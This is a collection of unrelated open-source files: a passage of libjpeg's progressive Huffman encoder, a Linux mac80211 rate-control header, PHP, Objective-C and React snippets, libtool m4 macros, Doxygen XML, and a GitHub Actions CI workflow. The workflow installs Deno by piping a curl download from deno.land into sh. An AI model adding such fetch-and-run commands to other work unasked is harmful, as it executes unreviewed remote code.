if (entropy->EOBRUN == 0x7FFF)
emit_eobrun(entropy); /* force it out to avoid overflow */
}
cinfo->dest->next_output_byte = entropy->next_output_byte;
cinfo->dest->free_in_buffer = entropy->free_in_buffer;
/* Update restart-interval state too */
if (cinfo->restart_interval) {
if (entropy->restarts_to_go == 0) {
entropy->restarts_to_go = cinfo->restart_interval;
entropy->next_restart_num++;
entropy->next_restart_num &= 7;
}
entropy->restarts_to_go--;
}
return TRUE;
}
/*
* MCU encoding for DC successive approximation refinement scan.
* Note: we assume such scans can be multi-component, although the spec
* is not very clear on the point.
*/
METHODDEF(int)
encode_mcu_DC_refine (j_compress_ptr cinfo, JBLOCKROW *MCU_data)
{
phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;
register int temp;
int blkn;
int Al = cinfo->Al;
JBLOCKROW block;
entropy->next_output_byte = cinfo->dest->next_output_byte;
entropy->free_in_buffer = cinfo->dest->free_in_buffer;
/* Emit restart marker if needed */
if (cinfo->restart_interval)
if (entropy->restarts_to_go == 0)
emit_restart(entropy, entropy->next_restart_num);
/* Encode the MCU data blocks */
for (blkn = 0; blkn < cinfo->blocks_in_MCU; blkn++) {
block = MCU_data[blkn];
/* We simply emit the Al'th bit of the DC coefficient value. */
temp = (*block)[0];
emit_bits(entropy, (unsigned int) (temp >> Al), 1);
}
cinfo->dest->next_output_byte = entropy->next_output_byte;
cinfo->dest->free_in_buffer = entropy->free_in_buffer;
/* Update restart-interval state too */
if (cinfo->restart_interval) {
if (entropy->restarts_to_go == 0) {
entropy->restarts_to_go = cinfo->restart_interval;
entropy->next_restart_num++;
entropy->next_restart_num &= 7;
}
entropy->restarts_to_go--;
}
return TRUE;
}
/*
* MCU encoding for AC successive approximation refinement scan.
*/
METHODDEF(int)
encode_mcu_AC_refine (j_compress_ptr cinfo, JBLOCKROW *MCU_data)
{
phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;
register int temp;
register int r, k;
int EOB;
char *BR_buffer;
unsigned int BR;
int Se = cinfo->Se;
int Al = cinfo->Al;
JBLOCKROW block;
int absvalues[DCTSIZE2];
entropy->next_output_byte = cinfo->dest->next_output_byte;
entropy->free_in_buffer = cinfo->dest->free_in_buffer;
/* Emit restart marker if needed */
if (cinfo->restart_interval)
if (entropy->restarts_to_go == 0)
emit_restart(entropy, entropy->next_restart_num);
/* Encode the MCU data block */
block = MCU_data[0];
/* It is convenient to make a pre-pass to determine the transformed
* coefficients' absolute values and the EOB position.
*/
EOB = 0;
for (k = cinfo->Ss; k <= Se; k++) {
temp = (*block)[jpeg_natural_order[k]];
/* We must apply the point transform by Al. For AC coefficients this
* is an integer division with rounding towards 0. To do this portably
* in C, we shift after obtaining the absolute value.
*/
if (temp < 0)
temp = -temp; /* temp is abs value of input */
temp >>= Al; /* apply the point transform */
absvalues[k] = temp; /* save abs value for main pass */
if (temp == 1)
EOB = k; /* EOB = index of last newly-nonzero coef */
}
/* Encode the AC coefficients per section G.1.2.3, fig. G.7 */
r = 0; /* r = run length of zeros */
BR = 0; /* BR = count of buffered bits added now */
BR_buffer = entropy->bit_buffer + entropy->BE; /* Append bits to buffer */
for (k = cinfo->Ss; k <= Se; k++) {
if ((temp = absvalues[k]) == 0) {
r++;
continue;
}
/* Emit any required ZRLs, but not if they can be folded into EOB */
while (r > 15 && k <= EOB) {
/* emit any pending EOBRUN and the BE correction bits */
emit_eobrun(entropy);
/* Emit ZRL */
emit_symbol(entropy, entropy->ac_tbl_no, 0xF0);
r -= 16;
/* Emit buffered correction bits that must be associated with ZRL */
emit_buffered_bits(entropy, BR_buffer, BR);
BR_buffer = entropy->bit_buffer; /* BE bits are gone now */
BR = 0;
}
/* If the coef was previously nonzero, it only needs a correction bit.
* NOTE: a straight translation of the spec's figure G.7 would suggest
* that we also need to test r > 15. But if r > 15, we can only get here
* if k > EOB, which implies that this coefficient is not 1.
*/
if (temp > 1) {
/* The correction bit is the next bit of the absolute value. */
BR_buffer[BR++] = (char) (temp & 1);
continue;
}
/* Emit any pending EOBRUN and the BE correction bits */
emit_eobrun(entropy);
/* Count/emit Huffman symbol for run length / number of bits */
emit_symbol(entropy, entropy->ac_tbl_no, (r << 4) + 1);
/* Emit output bit for newly-nonzero coef */
temp = ((*block)[jpeg_natural_order[k]] < 0) ? 0 : 1;
emit_bits(entropy, (unsigned int) temp, 1);
/* Emit buffered correction bits that must be associated with this code */
emit_buffered_bits(entropy, BR_buffer, BR);
BR_buffer = entropy->bit_buffer; /* BE bits are gone now */
BR = 0;
r = 0; /* reset zero run length */
}
if (r > 0 || BR > 0) { /* If there are trailing zeroes, */
entropy->EOBRUN++; /* count an EOB */
entropy->BE += BR; /* concat my correction bits to older ones */
/* We force out the EOB if we risk either:
* 1. overflow of the EOB counter;
* 2. overflow of the correction bit buffer during the next MCU.
*/
if (entropy->EOBRUN == 0x7FFF || entropy->BE > (MAX_CORR_BITS-DCTSIZE2+1))
emit_eobrun(entropy);
}
cinfo->dest->next_output_byte = entropy->next_output_byte;
cinfo->dest->free_in_buffer = entropy->free_in_buffer;
/* Update restart-interval state too */
if (cinfo->restart_interval) {
if (entropy->restarts_to_go == 0) {
entropy->restarts_to_go = cinfo->restart_interval;
entropy->next_restart_num++;
entropy->next_restart_num &= 7;
}
entropy->restarts_to_go--;
}
return TRUE;
}
/*
* Finish up at the end of a Huffman-compressed progressive scan.
*/
METHODDEF(void)
finish_pass_phuff (j_compress_ptr cinfo)
{
phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;
entropy->next_output_byte = cinfo->dest->next_output_byte;
entropy->free_in_buffer = cinfo->dest->free_in_buffer;
/* Flush out any buffered data */
emit_eobrun(entropy);
flush_bits(entropy);
cinfo->dest->next_output_byte = entropy->next_output_byte;
cinfo->dest->free_in_buffer = entropy->free_in_buffer;
}
/*
* Finish up a statistics-gathering pass and create the new Huffman tables.
*/
METHODDEF(void)
finish_pass_gather_phuff (j_compress_ptr cinfo)
{
phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;
int is_DC_band;
int ci, tbl;
jpeg_component_info * compptr;
JHUFF_TBL **htblptr;
int did[NUM_HUFF_TBLS];
/* Flush out buffered data (all we care about is counting the EOB symbol) */
emit_eobrun(entropy);
is_DC_band = (cinfo->Ss == 0);
/* It's important not to apply jpeg_gen_optimal_table more than once
* per table, because it clobbers the input frequency counts!
*/
MEMZERO(did, SIZEOF(did));
for (ci = 0; ci < cinfo->comps_in_scan; ci++) {
compptr = cinfo->cur_comp_info[ci];
if (is_DC_band) {
if (cinfo->Ah != 0) /* DC refinement needs no table */
continue;
tbl = compptr->dc_tbl_no;
} else {
tbl = compptr->ac_tbl_no;
}
if (! did[tbl]) {
if (is_DC_band)
htblptr = & cinfo->dc_huff_tbl_ptrs[tbl];
else
htblptr = & cinfo->ac_huff_tbl_ptrs[tbl];
if (*htblptr == NULL)
*htblptr = jpeg_alloc_huff_table((j_common_ptr) cinfo);
jpeg_gen_optimal_table(cinfo, *htblptr, entropy->count_ptrs[tbl]);
did[tbl] = TRUE;
}
}
}
/*
* Module initialization routine for progressive Huffman entropy encoding.
*/
GLOBAL(void)
jinit_phuff_encoder (j_compress_ptr cinfo)
{
phuff_entropy_ptr entropy;
int i;
entropy = (phuff_entropy_ptr)
(*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,
SIZEOF(phuff_entropy_encoder));
cinfo->entropy = (struct jpeg_entropy_encoder *) entropy;
entropy->pub.start_pass = start_pass_phuff;
/* Mark tables unallocated */
for (i = 0; i < NUM_HUFF_TBLS; i++) {
entropy->derived_tbls[i] = NULL;
entropy->count_ptrs[i] = NULL;
}
entropy->bit_buffer = NULL; /* needed only in AC refinement scan */
}
#endif /* C_PROGRESSIVE_SUPPORTED */
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2002-2005, Instant802 Networks, Inc.
* Copyright 2005, Devicescape Software, Inc.
* Copyright (c) 2006 Jiri Benc <[email protected]>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#ifndef IEEE80211_RATE_H
#define IEEE80211_RATE_H
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/types.h>
#include <linux/kref.h>
#include <net/mac80211.h>
#include "ieee80211_i.h"
#include "sta_info.h"
struct rate_control_ref {
struct ieee80211_local *local;
struct rate_control_ops *ops;
void *priv;
struct kref kref;
};
/* Get a reference to the rate control algorithm. If `name' is NULL, get the
* first available algorithm. */
struct rate_control_ref *rate_control_alloc(const char *name,
struct ieee80211_local *local);
void rate_control_get_rate(struct ieee80211_sub_if_data *sdata,
struct sta_info *sta,
struct ieee80211_tx_rate_control *txrc);
struct rate_control_ref *rate_control_get(struct rate_control_ref *ref);
void rate_control_put(struct rate_control_ref *ref);
static inline void rate_control_tx_status(struct ieee80211_local *local,
struct ieee80211_supported_band *sband,
struct sta_info *sta,
struct sk_buff *skb)
{
struct rate_control_ref *ref = local->rate_ctrl;
struct ieee80211_sta *ista = &sta->sta;
void *priv_sta = sta->rate_ctrl_priv;
struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb);
if (likely(info->flags & IEEE80211_TX_INTFL_RCALGO))
ref->ops->tx_status(ref->priv, sband, ista, priv_sta, skb);
}
static inline void rate_control_rate_init(struct sta_info *sta)
{
struct ieee80211_local *local = sta->sdata->local;
struct rate_control_ref *ref = sta->rate_ctrl;
struct ieee80211_sta *ista = &sta->sta;
void *priv_sta = sta->rate_ctrl_priv;
struct ieee80211_supported_band *sband;
if (!ref)
return;
sband = local->hw.wiphy->bands[local->hw.conf.channel->band];
ref->ops->rate_init(ref->priv, sband, ista, priv_sta);
}
static inline void rate_control_rate_update(struct ieee80211_local *local,
struct ieee80211_supported_band *sband,
struct sta_info *sta, u32 changed)
{
struct rate_control_ref *ref = local->rate_ctrl;
struct ieee80211_sta *ista = &sta->sta;
void *priv_sta = sta->rate_ctrl_priv;
if (ref && ref->ops->rate_update)
ref->ops->rate_update(ref->priv, sband, ista,
priv_sta, changed);
}
static inline void *rate_control_alloc_sta(struct rate_control_ref *ref,
struct ieee80211_sta *sta,
gfp_t gfp)
{
return ref->ops->alloc_sta(ref->priv, sta, gfp);
}
static inline void rate_control_free_sta(struct sta_info *sta)
{
struct rate_control_ref *ref = sta->rate_ctrl;
struct ieee80211_sta *ista = &sta->sta;
void *priv_sta = sta->rate_ctrl_priv;
ref->ops->free_sta(ref->priv, ista, priv_sta);
}
static inline void rate_control_add_sta_debugfs(struct sta_info *sta)
{
#ifdef CONFIG_MAC80211_DEBUGFS
struct rate_control_ref *ref = sta->rate_ctrl;
if (ref && sta->debugfs.dir && ref->ops->add_sta_debugfs)
ref->ops->add_sta_debugfs(ref->priv, sta->rate_ctrl_priv,
sta->debugfs.dir);
#endif
}
static inline void rate_control_remove_sta_debugfs(struct sta_info *sta)
{
#ifdef CONFIG_MAC80211_DEBUGFS
struct rate_control_ref *ref = sta->rate_ctrl;
if (ref && ref->ops->remove_sta_debugfs)
ref->ops->remove_sta_debugfs(ref->priv, sta->rate_ctrl_priv);
#endif
}
/* functions for rate control related to a device */
int ieee80211_init_rate_ctrl_alg(struct ieee80211_local *local,
const char *name);
void rate_control_deinitialize(struct ieee80211_local *local);
/* Rate control algorithms */
#ifdef CONFIG_MAC80211_RC_PID
extern int rc80211_pid_init(void);
extern void rc80211_pid_exit(void);
#else
static inline int rc80211_pid_init(void)
{
return 0;
}
static inline void rc80211_pid_exit(void)
{
}
#endif
#ifdef CONFIG_MAC80211_RC_MINSTREL
extern int rc80211_minstrel_init(void);
extern void rc80211_minstrel_exit(void);
#else
static inline int rc80211_minstrel_init(void)
{
return 0;
}
static inline void rc80211_minstrel_exit(void)
{
}
#endif
#endif /* IEEE80211_RATE_H */
| {
"pile_set_name": "Github"
} |
<?php
/*
* This file is part of PHPExifTool.
*
* (c) 2012 Romain Neutron <[email protected]>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace PHPExiftool\Driver\Tag\Qualcomm;
use JMS\Serializer\Annotation\ExclusionPolicy;
use PHPExiftool\Driver\AbstractTag;
/**
* @ExclusionPolicy("all")
*/
class R2ATbl25 extends AbstractTag
{
protected $Id = 'r2_a_tbl[25]';
protected $Name = 'R2ATbl25';
protected $FullName = 'Qualcomm::Main';
protected $GroupName = 'Qualcomm';
protected $g0 = 'MakerNotes';
protected $g1 = 'Qualcomm';
protected $g2 = 'Camera';
protected $Type = '?';
protected $Writable = false;
protected $Description = 'R2 A Tbl 25';
protected $flag_Permanent = true;
}
| {
"pile_set_name": "Github"
} |
name: CI
on:
pull_request:
branches:
- master
push:
branches:
- master
- release/*
schedule:
- cron: 0 2 * * 1-5
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v1
- name: install deno
run: curl -fsSL https://deno.land/x/install/install.sh | sh
- name: bundle sources
run: ~/.deno/bin/deno bundle test.ts
- name: run test
run: ~/.deno/bin/deno run test.ts
- name: fetch example app
run: ~/.deno/bin/deno bundle example/server.ts
| {
"pile_set_name": "Github"
} |
/**
* Modified MIT License
*
* Copyright 2017 OneSignal
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* 1. The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* 2. All copies of substantial portions of the Software may only be used in connection
* with services provided by OneSignal.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#import <Foundation/Foundation.h>
#import "OneSignal.h"
#import "OSObservable.h"
#import "OSPermission.h"
@protocol OSEmailSubscriptionStateObserver
-(void)onChanged:(OSEmailSubscriptionState*)state;
@end
typedef OSObservable<NSObject<OSEmailSubscriptionStateObserver>*, OSEmailSubscriptionState*> ObservableEmailSubscriptionStateType;
typedef OSObservable<NSObject<OSEmailSubscriptionObserver>*, OSEmailSubscriptionStateChanges*> ObservableEmailSubscriptionStateChangesType;
@interface OSEmailSubscriptionState ()
@property (nonatomic) ObservableEmailSubscriptionStateType *observable;
@property (strong, nonatomic) NSString *emailAuthCode;
@property (nonatomic) BOOL requiresEmailAuth;
- (void)persist;
- (void)setEmailUserId:(NSString *)emailUserId;
- (void)setEmailAddress:(NSString *)emailAddress;
- (BOOL)compare:(OSEmailSubscriptionState *)from;
@end
@interface OSEmailSubscriptionStateChanges ()
@property (readwrite) OSEmailSubscriptionState* to;
@property (readwrite) OSEmailSubscriptionState* from;
@end
@interface OSEmailSubscriptionChangedInternalObserver : NSObject<OSEmailSubscriptionStateObserver>
+ (void)fireChangesObserver:(OSEmailSubscriptionState*)state;
@end
@interface OneSignal (EmailSubscriptionAdditions)
@property (class) OSEmailSubscriptionState *lastEmailSubscriptionState;
@property (class) OSEmailSubscriptionState *currentEmailSubscriptionState;
@property (class) ObservableEmailSubscriptionStateChangesType *emailSubscriptionStateChangesObserver;
@end
| {
"pile_set_name": "Github"
} |
好奇心原文链接:[阿里巴巴继续入股微博,刚买了 1.35 亿美元股票_智能_好奇心日报-龚方毅](https://www.qdaily.com/articles/32063.html)
WebArchive归档链接:[阿里巴巴继续入股微博,刚买了 1.35 亿美元股票_智能_好奇心日报-龚方毅](http://web.archive.org/web/20161118052654/http://www.qdaily.com:80/articles/32063.html)
 | {
"pile_set_name": "Github"
} |
# lt~obsolete.m4 -- aclocal satisfying obsolete definitions. -*-Autoconf-*-
#
# Copyright (C) 2004-2005, 2007, 2009, 2011-2013 Free Software
# Foundation, Inc.
# Written by Scott James Remnant, 2004.
#
# This file is free software; the Free Software Foundation gives
# unlimited permission to copy and/or distribute it, with or without
# modifications, as long as this notice is preserved.
# serial 5 lt~obsolete.m4
# These exist entirely to fool aclocal when bootstrapping libtool.
#
# In the past libtool.m4 has provided macros via AC_DEFUN (or AU_DEFUN),
# which have later been changed to m4_define as they aren't part of the
# exported API, or moved to Autoconf or Automake where they belong.
#
# The trouble is, aclocal is a bit thick. It'll see the old AC_DEFUN
# in /usr/share/aclocal/libtool.m4 and remember it, then when it sees us
# using a macro with the same name in our local m4/libtool.m4 it'll
# pull the old libtool.m4 in (it doesn't see our shiny new m4_define
# and doesn't know about Autoconf macros at all.)
#
# So we provide this file, which has a silly filename so it's always
# included after everything else. This provides aclocal with the
# AC_DEFUNs it wants, but when m4 processes it, it doesn't do anything
# because those macros already exist, or will be overwritten later.
# We use AC_DEFUN over AU_DEFUN for compatibility with aclocal-1.6.
#
# Anytime we withdraw an AC_DEFUN or AU_DEFUN, remember to add it here.
# Yes, that means every name once taken will need to remain here until
# we give up compatibility with versions before 1.7, at which point
# we need to keep only those names which we still refer to.
# This is to help aclocal find these macros, as it can't see m4_define.
AC_DEFUN([LTOBSOLETE_VERSION], [m4_if([1])])
m4_ifndef([AC_LIBTOOL_LINKER_OPTION], [AC_DEFUN([AC_LIBTOOL_LINKER_OPTION])])
m4_ifndef([AC_PROG_EGREP], [AC_DEFUN([AC_PROG_EGREP])])
m4_ifndef([_LT_AC_PROG_ECHO_BACKSLASH], [AC_DEFUN([_LT_AC_PROG_ECHO_BACKSLASH])])
m4_ifndef([_LT_AC_SHELL_INIT], [AC_DEFUN([_LT_AC_SHELL_INIT])])
m4_ifndef([_LT_AC_SYS_LIBPATH_AIX], [AC_DEFUN([_LT_AC_SYS_LIBPATH_AIX])])
m4_ifndef([_LT_PROG_LTMAIN], [AC_DEFUN([_LT_PROG_LTMAIN])])
m4_ifndef([_LT_AC_TAGVAR], [AC_DEFUN([_LT_AC_TAGVAR])])
m4_ifndef([AC_LTDL_ENABLE_INSTALL], [AC_DEFUN([AC_LTDL_ENABLE_INSTALL])])
m4_ifndef([AC_LTDL_PREOPEN], [AC_DEFUN([AC_LTDL_PREOPEN])])
m4_ifndef([_LT_AC_SYS_COMPILER], [AC_DEFUN([_LT_AC_SYS_COMPILER])])
m4_ifndef([_LT_AC_LOCK], [AC_DEFUN([_LT_AC_LOCK])])
m4_ifndef([AC_LIBTOOL_SYS_OLD_ARCHIVE], [AC_DEFUN([AC_LIBTOOL_SYS_OLD_ARCHIVE])])
m4_ifndef([_LT_AC_TRY_DLOPEN_SELF], [AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF])])
m4_ifndef([AC_LIBTOOL_PROG_CC_C_O], [AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O])])
m4_ifndef([AC_LIBTOOL_SYS_HARD_LINK_LOCKS], [AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS])])
m4_ifndef([AC_LIBTOOL_OBJDIR], [AC_DEFUN([AC_LIBTOOL_OBJDIR])])
m4_ifndef([AC_LTDL_OBJDIR], [AC_DEFUN([AC_LTDL_OBJDIR])])
m4_ifndef([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH], [AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH])])
m4_ifndef([AC_LIBTOOL_SYS_LIB_STRIP], [AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP])])
m4_ifndef([AC_PATH_MAGIC], [AC_DEFUN([AC_PATH_MAGIC])])
m4_ifndef([AC_PROG_LD_GNU], [AC_DEFUN([AC_PROG_LD_GNU])])
m4_ifndef([AC_PROG_LD_RELOAD_FLAG], [AC_DEFUN([AC_PROG_LD_RELOAD_FLAG])])
m4_ifndef([AC_DEPLIBS_CHECK_METHOD], [AC_DEFUN([AC_DEPLIBS_CHECK_METHOD])])
m4_ifndef([AC_LIBTOOL_PROG_COMPILER_NO_RTTI], [AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_NO_RTTI])])
m4_ifndef([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE], [AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE])])
m4_ifndef([AC_LIBTOOL_PROG_COMPILER_PIC], [AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC])])
m4_ifndef([AC_LIBTOOL_PROG_LD_SHLIBS], [AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS])])
m4_ifndef([AC_LIBTOOL_POSTDEP_PREDEP], [AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP])])
m4_ifndef([LT_AC_PROG_EGREP], [AC_DEFUN([LT_AC_PROG_EGREP])])
m4_ifndef([LT_AC_PROG_SED], [AC_DEFUN([LT_AC_PROG_SED])])
m4_ifndef([_LT_CC_BASENAME], [AC_DEFUN([_LT_CC_BASENAME])])
m4_ifndef([_LT_COMPILER_BOILERPLATE], [AC_DEFUN([_LT_COMPILER_BOILERPLATE])])
m4_ifndef([_LT_LINKER_BOILERPLATE], [AC_DEFUN([_LT_LINKER_BOILERPLATE])])
m4_ifndef([_AC_PROG_LIBTOOL], [AC_DEFUN([_AC_PROG_LIBTOOL])])
m4_ifndef([AC_LIBTOOL_SETUP], [AC_DEFUN([AC_LIBTOOL_SETUP])])
m4_ifndef([_LT_AC_CHECK_DLFCN], [AC_DEFUN([_LT_AC_CHECK_DLFCN])])
m4_ifndef([AC_LIBTOOL_SYS_DYNAMIC_LINKER], [AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER])])
m4_ifndef([_LT_AC_TAGCONFIG], [AC_DEFUN([_LT_AC_TAGCONFIG])])
m4_ifndef([AC_DISABLE_FAST_INSTALL], [AC_DEFUN([AC_DISABLE_FAST_INSTALL])])
m4_ifndef([_LT_AC_LANG_CXX], [AC_DEFUN([_LT_AC_LANG_CXX])])
m4_ifndef([_LT_AC_LANG_F77], [AC_DEFUN([_LT_AC_LANG_F77])])
m4_ifndef([_LT_AC_LANG_GCJ], [AC_DEFUN([_LT_AC_LANG_GCJ])])
m4_ifndef([AC_LIBTOOL_LANG_C_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_C_CONFIG])])
m4_ifndef([_LT_AC_LANG_C_CONFIG], [AC_DEFUN([_LT_AC_LANG_C_CONFIG])])
m4_ifndef([AC_LIBTOOL_LANG_CXX_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_CXX_CONFIG])])
m4_ifndef([_LT_AC_LANG_CXX_CONFIG], [AC_DEFUN([_LT_AC_LANG_CXX_CONFIG])])
m4_ifndef([AC_LIBTOOL_LANG_F77_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_F77_CONFIG])])
m4_ifndef([_LT_AC_LANG_F77_CONFIG], [AC_DEFUN([_LT_AC_LANG_F77_CONFIG])])
m4_ifndef([AC_LIBTOOL_LANG_GCJ_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_GCJ_CONFIG])])
m4_ifndef([_LT_AC_LANG_GCJ_CONFIG], [AC_DEFUN([_LT_AC_LANG_GCJ_CONFIG])])
m4_ifndef([AC_LIBTOOL_LANG_RC_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_RC_CONFIG])])
m4_ifndef([_LT_AC_LANG_RC_CONFIG], [AC_DEFUN([_LT_AC_LANG_RC_CONFIG])])
m4_ifndef([AC_LIBTOOL_CONFIG], [AC_DEFUN([AC_LIBTOOL_CONFIG])])
m4_ifndef([_LT_AC_FILE_LTDLL_C], [AC_DEFUN([_LT_AC_FILE_LTDLL_C])])
m4_ifndef([_LT_REQUIRED_DARWIN_CHECKS], [AC_DEFUN([_LT_REQUIRED_DARWIN_CHECKS])])
m4_ifndef([_LT_AC_PROG_CXXCPP], [AC_DEFUN([_LT_AC_PROG_CXXCPP])])
m4_ifndef([_LT_PREPARE_SED_QUOTE_VARS], [AC_DEFUN([_LT_PREPARE_SED_QUOTE_VARS])])
m4_ifndef([_LT_PROG_ECHO_BACKSLASH], [AC_DEFUN([_LT_PROG_ECHO_BACKSLASH])])
m4_ifndef([_LT_PROG_F77], [AC_DEFUN([_LT_PROG_F77])])
m4_ifndef([_LT_PROG_FC], [AC_DEFUN([_LT_PROG_FC])])
m4_ifndef([_LT_PROG_CXX], [AC_DEFUN([_LT_PROG_CXX])])
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2015, Parse, LLC. All rights reserved.
*
* You are hereby granted a non-exclusive, worldwide, royalty-free license to
* use, copy, modify, and distribute this software in source code or binary
* form for use in connection with the web services and APIs provided by Parse.
*
* As with any software that integrates with the Parse platform, your use of
* this software is subject to the Parse Terms of Service
* [https://www.parse.com/about/terms]. This copyright notice shall be
* included in all copies or substantial portions of the software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
* IN THE SOFTWARE.
*
*/
var React = require('react');
var Parse = require('parse');
// Insert your app's keys here:
Parse.initialize('APPLICATION_ID', 'JAVASCRIPT_KEY');
var TodoList = require('./TodoList.react.js');
React.render(
<TodoList />,
document.getElementById('app')
);
| {
"pile_set_name": "Github"
} |
<?xml version='1.0' encoding='UTF-8' standalone='no'?>
<doxygen xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="compound.xsd" version="1.8.15">
<compounddef id="class_rubeus_1_1_graphic_components_1_1_r_game_scene" kind="class" language="C++" prot="public">
<compoundname>Rubeus::GraphicComponents::RGameScene</compoundname>
<includes refid="game__scene_8h" local="no">game_scene.h</includes>
<sectiondef kind="private-attrib">
<memberdef kind="variable" id="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1ae26000f245e1c745925c5e0878dd25d9" prot="private" static="no" mutable="no">
<type><ref refid="class_rubeus_1_1_graphic_components_1_1_r_shader_component" kindref="compound">RShaderComponent</ref> *</type>
<definition>RShaderComponent* Rubeus::GraphicComponents::RGameScene::m_ProgramShader</definition>
<argsstring></argsstring>
<name>m_ProgramShader</name>
<initializer>= NULL</initializer>
<briefdescription>
<para>The game's current shader. </para> </briefdescription>
<detaileddescription>
</detaileddescription>
<inbodydescription>
</inbodydescription>
<location file="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.h" line="29" column="1" bodyfile="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.h" bodystart="29" bodyend="-1"/>
</memberdef>
<memberdef kind="variable" id="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1a2d624de1c92ffd4c46242beffa2ca5f4" prot="private" static="no" mutable="no">
<type><ref refid="class_rubeus_1_1_graphic_components_1_1_r_main_layer" kindref="compound">RMainLayer</ref> *</type>
<definition>RMainLayer* Rubeus::GraphicComponents::RGameScene::m_RenderableScene</definition>
<argsstring></argsstring>
<name>m_RenderableScene</name>
<initializer>= NULL</initializer>
<briefdescription>
<para>The scene graph of the game. </para> </briefdescription>
<detaileddescription>
</detaileddescription>
<inbodydescription>
</inbodydescription>
<location file="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.h" line="32" column="1" bodyfile="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.h" bodystart="32" bodyend="-1"/>
</memberdef>
<memberdef kind="variable" id="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1a492af6356bcadd6b7b40e4c62d38a22f" prot="private" static="no" mutable="no">
<type>GLint</type>
<definition>GLint Rubeus::GraphicComponents::RGameScene::m_TextureIDs[32]</definition>
<argsstring>[32]</argsstring>
<name>m_TextureIDs</name>
<briefdescription>
<para>Texture IDs to be used by both UI and Scene shaders. </para> </briefdescription>
<detaileddescription>
</detaileddescription>
<inbodydescription>
</inbodydescription>
<location file="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.h" line="35" column="1" bodyfile="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.h" bodystart="35" bodyend="-1"/>
</memberdef>
</sectiondef>
<sectiondef kind="friend">
<memberdef kind="friend" id="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1abbd9bc577675917336fd07ab54e0580c" prot="private" static="no" const="no" explicit="no" inline="no" virt="non-virtual">
<type>friend class</type>
<definition>friend class REngine</definition>
<argsstring></argsstring>
<name>REngine</name>
<briefdescription>
</briefdescription>
<detaileddescription>
</detaileddescription>
<inbodydescription>
</inbodydescription>
<location file="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.h" line="37" column="1" bodyfile="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.h" bodystart="37" bodyend="-1"/>
</memberdef>
</sectiondef>
